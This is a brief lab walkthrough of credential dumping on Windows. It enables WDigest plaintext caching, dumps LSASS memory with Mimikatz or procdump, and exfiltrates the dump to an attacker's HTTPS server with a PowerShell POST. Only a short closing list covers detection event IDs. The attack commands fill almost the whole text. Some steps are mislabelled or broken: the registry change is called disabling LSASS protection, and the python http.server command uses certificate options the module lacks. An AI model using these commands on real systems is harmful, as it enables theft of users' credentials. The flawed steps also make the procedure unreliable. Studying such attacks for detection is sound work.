**Credential Dumping and Exfiltration**

Step 1: Prepare Victim Machine

Machine: Windows (Victim)  
Action:

* Disable LSASS protection (for lab only):
* reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /t REG\_DWORD /d 1 /f
* Download and run Mimikatz with admin privileges.

Step 2: Dump LSASS Memory

Machine: Windows (Victim)  
Action:

* Use Mimikatz to dump credentials:
* privilege::debug
* sekurlsa::minidump lsass.dmp
* sekurlsa::logonpasswords

Or:

procdump -ma lsass.exe C:\Users\Public\lsass.dmp

Step 3: Set Up HTTPS Exfiltration Server

Machine: *Ubuntu/Kali Linux (Attacker)*  
Action:

Start HTTPS server to receive dump:

openssl req -new -x509 -keyout cert.pem -out cert.pem -days 365 -nodes

python3 -m http.server 443 --bind 0.0.0.0 --directory /var/www/html --certfile cert.pem --keyfile cert.pem

Alternatively, use Ngrok to create a secure HTTPS tunnel.

Step 4: Exfiltrate LSASS Dump over HTTPS

Machine: *Windows (Victim)*  
Action:  
Send lsass.dmp to attacker's server via:

PowerShell:

Invoke-WebRequest -Uri https://192.168.129.132/ -Method POST -InFile "C:\Users\Public\lsass.dmp"

Step 5: Monitor/Dump Received Data

Machine: Ubuntu/Kali Linux (Attacker)  
Action:

* Receive lsass.dmp and analyze it offline using Mimikatz or strings.
* strings lsass.dmp | grep password

You can detect:

* Process access to LSASS (Sysmon Event ID 10)
* Suspicious PowerShell (Event IDs 4104, 4103)
* HTTPS exfiltration with large POST body